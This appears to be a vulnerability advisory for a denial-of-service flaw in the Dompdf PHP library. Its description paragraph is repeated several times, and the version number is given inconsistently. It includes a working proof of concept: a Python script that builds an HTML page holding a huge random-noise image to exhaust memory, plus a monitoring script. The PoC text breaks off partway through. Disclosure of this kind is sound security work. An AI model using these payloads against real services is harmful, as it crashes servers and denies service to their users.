CVE-2026-59942

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels). While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers. The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check. An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf. This issue has been fixed in version 3.16.

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels). While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers. The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check. An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf. This issue has been fixed in version 3.16.

Summary

Dompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).

While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.

Technical Deep Dive:

Standard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to:

• 100% CPU Saturation: The rendering thread hangs indefinitely trying to process the pixel stream.
• Process Termination: The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.

Details

The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.

PoC (Proof of Concept)

1. Install Dompdf v3.1.5 via Composer.

composer require dompdf/dompdf:3.1.5

2. Use the following Python script to generate the malicious payload (exploit.py):

from PIL import Image
import base64
from io import BytesIO
import os

DIMENSIONS = (30000, 30000) 
OUTPUT_FILE = "payload.html"

def generate_noise_bomb():
    print(f"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...")
    
    random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])
    image = Image.frombytes('L', DIMENSIONS, random_bytes)
    
    buffer = BytesIO()
    # Using PNG instead of JPEG to force full bitmap decompression in memory
    image.save(buffer, format="PNG")
    image_base64 = base64.b64encode(buffer.getvalue()).decode()

    html_content = f"""
    <html>
    <body>
        <div style="overflow:hidden; width:1px; height:1px;">
            <img src="data:image/png;base64,{image_base64}">
        </div>
        <h1>PoC: Resource Exhaustion</h1>
    </body>
    </html>
    """
    
    with open(OUTPUT_FILE, "w") as f:
        f.write(html_content)
    print(f"[+] High-entropy payload saved to: {OUTPUT_FILE}")

if __name__ == "__main__":
    generate_noise_bomb()

3. Use the following Python script to monitor the system resources in a separate terminal (monitor.py):

import psutil
import time

def start_monitoring():
    print("[*] Searching for PHP processes... (Press Ctrl+C to stop)")
    try:
        while True:
            for proc in psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent']):
                if 'php' in proc.info['name'].lower():
                    try:
                        pid = proc.info['pid']
                        mem = proc.info['memory_info'].rss / (1024 * 1024)
                        cpu = proc.cpu_percent(interval=0.1)
                        print(f"\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%", end="", flush=True)
                    except (psutil.NoSuchProcess, psutil.AccessDenied):
                        print(f"\n[!] CRASH DETECTED: Process {pid} terminated abruptly.")
                        return
            time.sleep(0.05)
    except KeyboardInterrupt:
        print("\n[*] Monitoring finished.")

if __name__ == "__main__":
    start_monitoring()

4. Create a file named render.php. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:

<?php
require_once…

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels). While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers. The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check. An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf. This issue has been fixed in version 3.16.

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels). While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers. The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check. An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf. This issue has been fixed in version 3.16.

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels). While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers. The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check. An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf. This issue has been fixed in version 3.16.